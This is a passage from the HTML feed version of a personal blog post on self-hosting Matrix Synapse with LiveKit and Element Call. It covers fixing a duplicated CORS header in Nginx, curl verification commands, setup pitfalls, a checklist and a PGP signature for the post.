</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Sec-WebSocket-Version: 13&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  https://rtc.example.com/rtc -o /dev/null
</span></span></code></pre></div><p>Result: I got a <code>401</code> (expected), but importantly I saw a log line in <code>rtc.access.log</code>. So <strong>Nginx WS proxying was fine</strong>.</p>
<h3 id="step-2-check-the-browser-console">Step 2: check the browser console</h3>
<p>The smoking gun in DevTools:</p>
<pre tabindex="0"><code>Access-Control-Allow-Origin cannot contain more than one origin.
Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
</code></pre><p>The browser refused the JWT call due to duplicated <strong>ACAO</strong> headers, so no token → no WebSocket connect.</p>
<p><strong>Fix:</strong> in Nginx I added:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">proxy_hide_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span> $http_origin <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">add_header</span> <span style="color:#e6db74">Vary</span> <span style="color:#e6db74">&#34;Origin&#34;</span> <span style="color:#e6db74">always</span>;
</span></span></code></pre></div><p>…and ensured no other <code>add_header</code> created duplicates. After that, <code>/sfu/get</code> succeeded and the WebSocket to <code>wss://rtc.example.com</code> immediately followed (I saw <strong>HTTP 101</strong> in the logs).</p>
<h3 id="step-3-confirm-livekit-side">Step 3: confirm LiveKit side</h3>
<p>Once the WS was up, LiveKit logs showed participants joining (not just <code>RoomService.CreateRoom</code>), and calls were established.</p>
<hr>
<h2 id="useful-verification-commands">Useful verification commands</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Synapse features (expect MSC4140 true)</span>
</span></span><span style="display:flex;"><span>curl -s https://matrix.example.com/_matrix/client/versions | jq <span style="color:#e6db74">&#39;.unstable_features.&#34;org.matrix.msc4140&#34;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Well-known with RTC focus</span>
</span></span><span style="display:flex;"><span>curl -s https://matrix.example.com/.well-known/matrix/client | jq
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># TURN creds (with your access token)</span>
</span></span><span style="display:flex;"><span>curl -s -H <span style="color:#e6db74">&#34;Authorization: Bearer </span>$TOKEN<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># JWT health</span>
</span></span><span style="display:flex;"><span>curl -si -X POST https://rtc.example.com/sfu/get
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># LiveKit simple HTTP probe</span>
</span></span><span style="display:flex;"><span>curl -si https://rtc.example.com | head
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nginx logs (look for 101 Switching Protocols when a call starts)</span>
</span></span><span style="display:flex;"><span>sudo tail -f /var/log/nginx/rtc.access.log | grep <span style="color:#e6db74">&#39; 101 &#39;</span>
</span></span></code></pre></div><hr>
<h2 id="common-pitfalls-i-hit-these-so-you-dont-have-to">Common pitfalls (I hit these so you don’t have to)</h2>
<ul>
<li><strong>Host Nginx vs Docker Nginx:</strong> If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get <code>bind() ... already in use</code> and restart loops. Use <strong>host</strong> Nginx to reverse proxy to containers.</li>
<li><strong>Nginx <code>http2</code> directive:</strong> Old Nginx may not support the <code>http2</code> directive on <code>listen</code>. Use <code>listen 443 ssl;</code> (and add <code>http2</code> if your version supports it).</li>
<li><strong>Certificate name mismatch:</strong> Make sure <code>rtc.example.com</code>’s vhost uses a certificate <strong>for that exact hostname</strong> (initially I had the <code>matrix.*</code> cert on <code>rtc.*</code> and curl complained).</li>
<li><strong>Postgres collation:</strong> Either initialize the cluster with <code>C</code> or use <code>allow_unsafe_locale: true</code> in Synapse DB config to get running quickly.</li>
<li><strong>CORS duplication on <code>/sfu/get</code>:</strong> Only ONE <code>Access-Control-Allow-Origin</code> header. If the upstream adds it too, use <code>proxy_hide_header Access-Control-Allow-Origin;</code> on the Nginx location.</li>
<li><strong>Cloudflare:</strong> Use <strong>DNS-only</strong> for <code>rtc.*</code>. Proxies can interfere with WS and UDP paths.</li>
<li><strong>Firewall:</strong> Open the LiveKit UDP range and TURN ports on both v4 and v6.</li>
</ul>
<hr>
<h2 id="final-checklist-print-me">Final checklist (print me)</h2>
<ul>
<li><input disabled="" type="checkbox"> <code>https://matrix.example.com/.well-known/matrix/client</code> returns <strong>both</strong> <code>m.homeserver.base_url</code> and <code>org.matrix.msc4143.rtc_foci</code> pointing to <code>https://rtc.example.com</code>.</li>
<li><input disabled="" type="checkbox"> <code>/_matrix/client/versions</code> shows <code>&quot;org.matrix.msc4140&quot;: true</code>.</li>
<li><input disabled="" type="checkbox"> <code>/sfu/get</code> <strong>preflight</strong> returns <strong>one</strong> <code>Access-Control-Allow-Origin</code> and <strong>200/204</strong>.</li>
<li><input disabled="" type="checkbox"> Starting a call creates <strong>HTTP 101</strong> entries to <code>wss://rtc.example.com</code> in <code>rtc.access.log</code>.</li>
<li><input disabled="" type="checkbox"> LiveKit logs show <strong>participants joining</strong> (not just CreateRoom).</li>
<li><input disabled="" type="checkbox"> <code>/voip/turnServer</code> returns time-limited TURN credentials.</li>
<li><input disabled="" type="checkbox"> Cloudflare set to <strong>DNS-only</strong> for <code>rtc.*</code>. UFW allows 7881/tcp and your LiveKit UDP range.</li>
</ul>
<hr>
<h3 id="credits--tooling">Credits &amp; tooling</h3>
<ul>
<li>Matrix Synapse, coTURN, LiveKit, Element Call.</li>
<li><code>curl</code>, <code>jq</code>, <code>docker compose logs</code>, Nginx access logs. These are your best friends.</li>
<li>The debugging breakthrough was catching CORS errors in the browser console and looking for <strong>HTTP 101</strong> in Nginx logs.</li>
</ul>
<p>Happy calling! 🎉</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/matrix_setup.md">Markdown</a> ·
    <a href="/sources/posts/matrix_setup.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu&#43;0un0FiIfHKtFPcXd2HiVqzODu
YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
PIe&#43;zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
SVJbwubie1D9TPcXU3ynC&#43;ynNBcmVevFl7g/X7Ie8Pw0SP1dJF&#43;we5iVqUrZgPO2
AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5&#43;HjkoIaZDtSfFyt&#43;AwPdHDQ
m3sMXA7yZUvy&#43;pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq&#43;yxtCuXBF
fPWo5pL0rMtIfwRyaiiX9bwV&#43;WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
7yoN0vqhKSvZlAL1OQS&#43;4yRcXnguq7UY9UF&#43;drG0f0QpC3aht1QgrJ04gvDp2BOk
ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl&#43;ZMvwobQqH
Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu&#43;Qt4h9gZ2w6
Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
=yHZZ
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
gpg --verify matrix_setup.md.asc matrix_setup.md
  </pre>
</div>


]]></content:encoded></item></channel></rss>